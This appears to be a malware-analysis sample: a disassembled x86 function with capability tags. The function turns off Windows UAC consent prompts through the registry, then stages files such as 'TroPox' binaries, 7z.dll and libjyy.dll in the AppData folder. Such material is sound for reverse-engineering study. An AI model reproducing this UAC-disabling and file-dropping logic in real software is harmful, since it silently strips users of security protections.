Function at 0x100010b0
Capabilities:
Get common file path
Get program files directory
Get startup folder
Read .ini file
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1e14
call fcn.10005b80
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
push edi
lea eax, [ebp - 0x1e10]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
xor ebx, ebx
push 0x80000002
mov dword [ebp - 0x1e14], ebx
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1000111c
mov edx, dword [ebp - 0x1e10]
push 4
lea ecx, [ebp - 0x1e14]
push ecx
push 4
push ebx
push str.ConsentPromptBehaviorAdmin
push edx
call edi
test eax, eax
je 0x1000111c
mov eax, dword [ebp - 0x1e10]
push eax
jmp 0x10001123
mov ecx, dword [ebp - 0x1e10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x1e10]
push edx
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000002
mov dword [ebp - 0x1e14], ebx
call esi
test eax, eax
jne 0x1000116d
mov ecx, dword [ebp - 0x1e10]
push 4
lea eax, [ebp - 0x1e14]
push eax
push 4
push ebx
push str.ConsentPromptBehaviorUser
push ecx
call edi
test eax, eax
je 0x1000116d
mov edx, dword [ebp - 0x1e10]
push edx
jmp 0x10001174
mov eax, dword [ebp - 0x1e10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x1e10]
push ecx
push str.SOFTWARE
push 0x80000001
mov dword [ebp - 0x1e14], 1
call esi
test eax, eax
jne 0x100011c2
mov eax, dword [ebp - 0x1e10]
push 4
lea edx, [ebp - 0x1e14]
push edx
push 4
push ebx
push str.ConsentPromptBehaviorUser
push eax
call edi
test eax, eax
je 0x100011c2
mov ecx, dword [ebp - 0x1e10]
push ecx
jmp 0x100011c9
mov edx, dword [ebp - 0x1e10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1ec
lea eax, [ebp - 0x1f0]
push ebx
mov ecx, 7
mov esi, str.CSIDL_APPDATA
lea edi, [ebp - 0x20c]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.10003bb0
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
push ebx
push ebx
push 0x26
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x100080e8
lea edx, [ebp - 0x20c]
push edx
call ebx
push 0x1d4
lea eax, [ebp - 0x5e8]
push 0
mov ecx, 0xd
mov esi, 0x100080ec
lea edi, [ebp - 0x61c]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.10003bb0
mov ecx, 0xd
mov esi, 0x100080ec
lea edi, [ebp - 0xa2c]
push 0x1d4
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x9f8]
push 0
push ecx
call fcn.10003bb0
push 0x1d4
lea edx, [ebp - 0xe08]
push 0
mov ecx, 0xd
mov esi, 0x100080ec
lea edi, [ebp - 0xe3c]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.10003bb0
push 0x1d4
lea eax, [ebp - 0xc00]
push 0
mov ecx, 0xd
mov esi, 0x100080ec
lea edi, [ebp - 0xc34]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.10003bb0
mov ecx, 0xd
mov esi, 0x100080ec
lea edi, [ebp - 0x824]
push 0x1d4
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x7f0]
push 0
push ecx
call fcn.10003bb0
push 0x1d4
lea edx, [ebp - 0x3e0]
push 0
mov ecx, 0xd
mov esi, 0x100080ec
lea edi, [ebp - 0x414]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.10003bb0
add esp, 0x48
mov ecx, 0xd
mov esi, str.ETFDOWUUWTvE
lea edi, [ebp - 0x160c]
rep movsd dword es:[edi], dword [esi]
push 0x79a
lea eax, [ebp - 0x15d6]
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.10003bb0
lea ecx, [ebp - 0x160c]
push ecx
call fcn.10001562
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x61c]
push 0x104
push eax
call fcn.1000159c
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0xa2c]
push 0x104
push edx
call fcn.1000159c
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0xe3c]
push 0x104
push ecx
call fcn.1000159c
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0xc34]
push 0x104
push eax
call fcn.1000159c
add esp, 0x40
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x824]
push 0x104
push edx
call fcn.1000159c
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x414]
push 0x104
push ecx
call fcn.1000159c
add esp, 0x18
lea edx, [ebp - 0x160c]
push edx
lea eax, [ebp - 0x61c]
push eax
call ebx
lea ecx, [ebp - 0x160c]
push ecx
lea edx, [ebp - 0xa2c]
push edx
call ebx
lea eax, [ebp - 0x160c]
push eax
lea ecx, [ebp - 0xe3c]
push ecx
call ebx
lea edx, [ebp - 0x160c]
push edx
lea eax, [ebp - 0xc34]
push eax
call ebx
push str.TroPox_E_Plus
lea ecx, [ebp - 0x61c]
push ecx
call ebx
push str.TroPox_Z_Plus
lea edx, [ebp - 0xa2c]
push edx
call ebx
push str.TroPox_B_Plus
lea eax, [ebp - 0xe3c]
push eax
call ebx
push str.QKFJSGCGWGRQ
lea ecx, [ebp - 0xc34]
push ecx
call ebx
mov edx, dword [0x100081d4]
mov eax, dword [0x100081d8]
push 0x7f8
lea ecx, [ebp - 0x1e04]
push 0
push ecx
mov dword [ebp - 0x1e0c], edx
mov dword [ebp - 0x1e08], eax
call fcn.10003bb0
add esp, 0xc
lea edx, [ebp - 0xc34]
push edx
push 0x64
lea eax, [ebp - 0x1e0c]
push eax
push str.NULL
push 0x100081e8
push 0x100081f0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea ecx, [ebp - 0x160c]
push ecx
lea edx, [ebp - 0x414]
push edx
call ebx
push 0x100080e8
lea eax, [ebp - 0x414]
push eax
call ebx
lea ecx, [ebp - 0x1e0c]
push ecx
lea edx, [ebp - 0x414]
push edx
call ebx
push str..exe
lea eax, [ebp - 0x414]
push eax
call ebx
lea ecx, [ebp - 0x160c]
push ecx
lea edx, [ebp - 0x824]
push edx
call ebx
push str.7z.dll
lea eax, [ebp - 0x824]
push eax
call ebx
push str.libjyy.dll
lea eax, [ebp - 0x61c]
call section..text
lea ecx, [ebp - 0x824]
push ecx
lea eax, [ebp - 0xa2c]
call section..text
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0xe3c]
call section..text
add esp, 0xc
push 0x457
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.10001882
int3